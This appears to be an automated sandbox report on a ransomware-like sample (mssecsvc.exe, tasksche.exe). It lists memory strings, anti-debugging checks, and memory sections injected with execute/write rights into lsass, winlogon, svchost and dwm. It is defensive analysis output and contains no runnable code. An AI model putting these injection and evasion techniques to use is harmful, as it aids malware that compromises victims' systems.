              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: c-Licen"@vmicheartbeat-block-out
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicvss-block-out
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~3
              Source: mssecsvc.exe, 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000018.00000000.470454037.0000000000410000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: svchost.exe, 0000001C.00000002.934444764.0000029A9CD0E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000004.00000002.720690679.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.440006704.0000013E23228000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.440289376.0000013E23228000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.914660033.0000013E23228000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Block any other inbound traffic for vmicheartbeat
              Source: svchost.exe, 00000024.00000002.937678637.00000266A5B7E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>A
              Source: dwm.exe, 00000015.00000002.924798874.0000024126E20000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 00000024.00000000.559070965.00000266A4FC0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
              Source: svchost.exe, 00000014.00000002.911390538.000001E26D828000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
              Source: svchost.exe, 0000001C.00000002.920104522.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000024.00000002.913639359.00000266A4843000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.556295672.00000266A4843000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.915307069.0000018476029000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000_0r
              Source: mssecsvc.exe, 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000018.00000000.470454037.0000000000410000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: svchost.exe, 00000012.00000000.431898449.0000023260A52000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicshutdown
              Source: dwm.exe, 00000015.00000002.924798874.0000024126E20000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000/
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat-allow-in-1
              Source: svchost.exe, 00000012.00000000.429980667.000002325FE96000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000@a
              Source: svchost.exe, 0000001C.00000002.920104522.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 0000001C.00000000.512452327.0000029A9C400000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicshutdown
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicshutdown
              Source: svchost.exe, 00000012.00000000.431187606.0000023260236000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicvss
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Allow inbound TCP port 389 traffic for vmicheartbeat
              Source: svchost.exe, 00000012.00000000.431187606.0000023260236000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdown
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@Allow inbound TCP port 636 traffic for vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicvss
              Source: svchost.exe, 00000024.00000002.937678637.00000266A5B7E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>4soud
              Source: svchost.exe, 00000024.00000000.575686641.00000266A5A00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware
              Source: svchost.exe, 0000001C.00000002.920104522.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 636 traffic for vmicheartbeatLMEMpp
              Source: svchost.exe, 00000014.00000000.445425728.000001E26D849000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 0000001C.00000000.512452327.0000029A9C400000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeat
              Source: svchost.exe, 00000012.00000000.429980667.000002325FE96000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicvss-block-in
              Source: svchost.exe, 0000001C.00000000.517670745.0000029A9CBF5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: 55Allow inbound TCP port 389 traffic for vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicshutdown-block-out
              Source: lsass.exe, 0000000B.00000000.405313816.0000020A0F082000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "&@Block any other outbound traffic for vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.934444764.0000029A9CD0E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow outbound TCP traffic for vmicheartbeatLMEM`
              Source: svchost.exe, 00000012.00000002.921225293.0000023260213000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicshutdown
              Source: svchost.exe, 00000024.00000000.563277781.00000266A5400000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMwareVirtual disk2.0NULLSCSI0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\4&2509f6e&0&00A8
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicvss
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat-allow-in-2
              Source: lsass.exe, 0000000B.00000002.911394457.0000020A0F013000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.408027680.0000020A0F013000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.405013006.0000020A0F013000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.910714728.000001A258228000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.510376340.0000029A9B0B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.916957282.0000029A9B0B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.910953464.000001B5A282D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.521925042.000001B5A282D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.526187709.000001847603D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.915741401.000001847603D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000002.912852312.00000266A4829000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: lsass.exe, 0000000B.00000000.405313816.0000020A0F082000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
              Source: svchost.exe, 00000012.00000000.431187606.0000023260236000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdowne
              Source: svchost.exe, 00000024.00000002.937678637.00000266A5B7E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>cat
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicshutdown
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicshutdown-block-in
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat
              Source: svchost.exe, 0000001C.00000000.512452327.0000029A9C400000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@Block any inbound traffic for vmicshutdown
              Source: svchost.exe, 00000024.00000002.937678637.00000266A5B7E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>Pla
              Source: svchost.exe, 00000024.00000002.913639359.00000266A4843000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.556295672.00000266A4843000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 00000017.00000002.909233347.000001A258202000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
              Source: lsass.exe, 0000000B.00000000.405313816.0000020A0F082000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicheartbeat-allow-out
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Driver
              Source: svchost.exe, 0000001C.00000002.920104522.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat-block-in
              Source: svchost.exe, 00000024.00000000.575686641.00000266A5A00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: nonicVMware Virtual disk 2.0 NULL
              Source: svchost.exe, 00000012.00000000.431187606.0000023260236000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@Block any inbound traffic for vmicvss
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00C13D36
              Source: C:\Windows\tasksche.exeCode function: 24_2_004029CC free,GetProcessHeap,HeapFree,24_2_004029CC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1042D rdtsc 4_2_00C1042D
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C105F2 mov eax, dword ptr fs:[00000030h]4_2_00C105F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1042D mov eax, dword ptr fs:[00000030h]4_2_00C1042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1025E mov edx, dword ptr fs:[00000030h]4_2_00C1025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 mov eax, dword ptr fs:[00000030h]4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA025E mov edx, dword ptr fs:[00000030h]4_2_7FEA025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D mov eax, dword ptr fs:[00000030h]4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B905F2 mov eax, dword ptr fs:[00000030h]9_2_00B905F2
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9042D mov eax, dword ptr fs:[00000030h]9_2_00B9042D
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9025E mov edx, dword ptr fs:[00000030h]9_2_00B9025E
              Source: C:\Windows\mssecsvc.exeProcess queried: DebugPortJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Maps a DLL or memory area into another process
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\rpntVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\lqstVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
